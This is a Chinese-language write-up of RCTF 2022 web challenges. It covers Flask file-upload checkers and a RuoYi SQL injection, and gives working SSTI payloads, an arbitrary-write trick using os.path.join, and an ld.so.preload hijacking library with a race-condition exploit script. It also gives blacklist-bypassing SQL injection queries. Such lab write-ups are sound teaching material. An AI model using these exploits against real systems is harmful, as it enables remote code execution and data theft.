filechecker_mini
一个flask应用,附件给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from flask import Flask, request, render_template, render_template_string from waitress import serve import os import subprocess
app_dir = os.path.split(os.path.realpath(__file__))[0] app = Flask(__name__) app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'
@app.route('/', methods=['GET','POST']) def index(): try: if request.method == 'GET': return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")
elif request.method == 'POST': f = request.files['file-upload'] filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)
if os.path.exists(filepath) and ".." in filepath: return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)") else: f.save(filepath) file_check_res = subprocess.check_output( ["/bin/file", "-b", filepath], shell=False, encoding='utf-8', timeout=1 ) os.remove(filepath) if "empty" in file_check_res or "cannot open" in file_check_res: file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ" return render_template_string(file_check_res)
except: return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')
if __name__ == '__main__': serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)
|
render_template_string参数可控,可以打ssti,此处的file_check_res是/bin/file处理后的结果,
如果能上传一个文件,让返回的结果带有我们的文件内容,即可达成ssti,如果上传!#
开头的文件
结果如下
1
| a /usr/bin/cmd1 script, ASCII text executable
|
直接ssti即可
1
| #!/{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
|
得到flag
1
| a /RCTF{testflag_5vycRgpY1Ekhrdk5wLcJoynj3QOH2JUoUfbCG0he} script, ASCII text executable, with CRLF line terminators
|
filechecker_plus
这题和上题比较稍微改动了一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from flask import Flask, request, render_template, render_template_string from waitress import serve import os import subprocess
app_dir = os.path.split(os.path.realpath(__file__))[0] app = Flask(__name__) app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'
@app.route('/', methods=['GET','POST']) def index(): try: if request.method == 'GET': return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")
elif request.method == 'POST': f = request.files['file-upload'] filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)
if os.path.exists(filepath) and ".." in filepath: return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)") else: f.save(filepath) file_check_res = subprocess.check_output( ["/bin/file", "-b", filepath], shell=False, encoding='utf-8', timeout=1 ) os.remove(filepath) if "empty" in file_check_res or "cannot open" in file_check_res: file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ" return render_template('index.html', result=file_check_res)
except: return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')
if __name__ == '__main__': serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)
|
这里的render_template_string改成了render_template,无法进行ssti
但是文件在保存之前会经过if os.path.exists(filepath) and ".." in filepath:
的判断,我们可以进行绕过,从而达成任意文件写,并且可以覆盖已有文件
这里用到一个os.path.join的小trick
1 2 3 4 5
| >>> import os >>> os.path.join("/app/upload/","test") '/app/upload/test' >>> os.path.join("/app/upload/","/tmp/test") '/tmp/test'
|
第一个思路是覆盖/bin/file,从而执行我们可控的二进制文件
第二个思路的覆盖index.html模板来执行命令
filechecker_pro_max
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from flask import Flask, request, render_template from waitress import serve import os import subprocess
app_dir = os.path.split(os.path.realpath(__file__))[0] app = Flask(__name__) app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'
@app.route('/', methods=['GET','POST']) def index(): try: if request.method == 'GET': return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")
elif request.method == 'POST': f = request.files['file-upload'] filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)
if os.path.exists(filepath): return render_template('index.html', result=f"{filepath} already exists (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)") else: f.save(filepath) file_check_res = subprocess.check_output( ["/bin/file", "-b", filepath], shell=False, encoding='utf-8', timeout=1 ) os.remove(filepath) if "empty" in file_check_res or "cannot open" in file_check_res: file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ" return render_template('index.html', result=file_check_res)
except: return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')
if __name__ == '__main__': serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)
|
修改了保存文件前的判断,现在无法覆盖已有的文件了,之前的思路都不能用了,我们能做的只有创建一个可控的临时文件,必须用这个文件来达成rce
利用/etc/ld.so.preload
Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload
,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload
配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。
用strace查看file的执行过程中的调用,可以看到确实加载了/etc/ld.so.preload指定的so
首先我们要能够上传一个恶意的so文件来劫持函数,
查看file的源码 https://github.com/file/file/blob/master/src/file.c,里面有个`magic_version()`函数,没有任何参数,我们可以劫持这个函数
1 2 3 4 5 6 7
| #include <stdlib.h> #include <stdio.h>
void magic_version() { remove("/etc/ld.so.preload"); system("whoami"); }
|
编译成so文件
1
| gcc exp.c -o exp.so -shared -fPIC
|
然后我们需要上传一个/etc/ld.so.preload
来指向我们的恶意so
条件竞争
我们需要在file函数执行前保证系统中存在两个文件,一个是/etc/ld.so.preload
,一个是/tmp/exp.so
,但是我们每次上传文件check完成后都会将文件删除,所以这里必须用到条件竞争才能让系统中同时存在这两个文件
这里给出最终的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import threading import requests
url='http://192.168.142.1:3000/'
def upload_so(so): file = {"file-upload": (f"/tmp/{so}", open(so, "rb"))} r=requests.post(url,files=file) t=r.text.split("<h3>")[1].split("</h3>")[0] print(t)
def upload_pre(so): file = {"file-upload": ("/etc/ld.so.preload", f"/tmp/{so}")} r=requests.post(url,files=file) t=r.text.split("<h3>")[1].split("</h3>")[0] print(t)
def race(so): for i in range(100): threading.Thread(target=upload_so,args=(so,)).start() threading.Thread(target=upload_pre,args=(so,)).start()
race("exp.so")
|
ezruoyi
附件中flag存在数据库当中,应该从sql注入入手
参考删除SqlUtil.java中SQL_REGEX管道符左边的空格 · Pull Request !403 · 若依/RuoYi - Gitee.com
filterKeyword函数使用的黑名单,每个关键词前面都有空格,例如select/**/这种写法就可以绕过
此处的代码生成功能使用了filterKeyword函数,因此存在sql注入
1 2 3 4
| CREATE TABLE test81 AS SELECT/**/SLEEP(IF((LENGTH(DATABASE())=2),5,0)); 时间盲注 create table notexist11 as select/**/gtid_subset(flag,1) from flag; 报错注入
|
Reference
http://help.louzhutie.cn/index.php?developer/article/2192800
RCTF 2022 OFFICIAL Write Up - ROIS Blog
https://payloads.online/archivers/2020-01-01/1/
RCTFweb复现 (ppmy.cn)